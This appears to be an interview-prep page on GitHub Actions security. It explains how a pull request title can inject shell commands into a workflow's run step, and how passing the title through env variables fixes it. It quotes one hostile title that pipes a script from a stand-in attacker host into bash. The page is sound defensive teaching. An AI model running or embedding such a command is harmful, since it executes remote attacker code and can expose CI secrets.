Interview Prep/GitHub Actions/Security Hardening & Supply Chain

A contributor's PR title is `"; curl -s https://evil.sh | bash; echo "` and your labeler workflow uses the title in `run:`. What happens and how do you fix it?

IntermediateScenarioSecurity Hardening & Supply Chain
Answer

Situation read → Script injection; if the workflow uses pull_request_target, it runs with secrets and a write token.

What I'd do →

  1. Replace inline interpolation with env:
    - env:
        TITLE: ${{ github.event.pull_request.title }}
      run: |
        if [[ "$TITLE" == feat* ]]; then echo "feature"; fi
    
  2. Audit all workflows for ${{ github.event.* inside run: and script:.
  3. Rotate any secrets the workflow had access to if it has run on such a PR.

Why → Expressions are pasted into script text before execution; env variables are expanded as data.

Interview tip → List the untrusted fields: titles, bodies, branch names, commit messages, labels.

All GitHub Actions questions Roadmap: GitHub Actions

More on Security Hardening & Supply Chain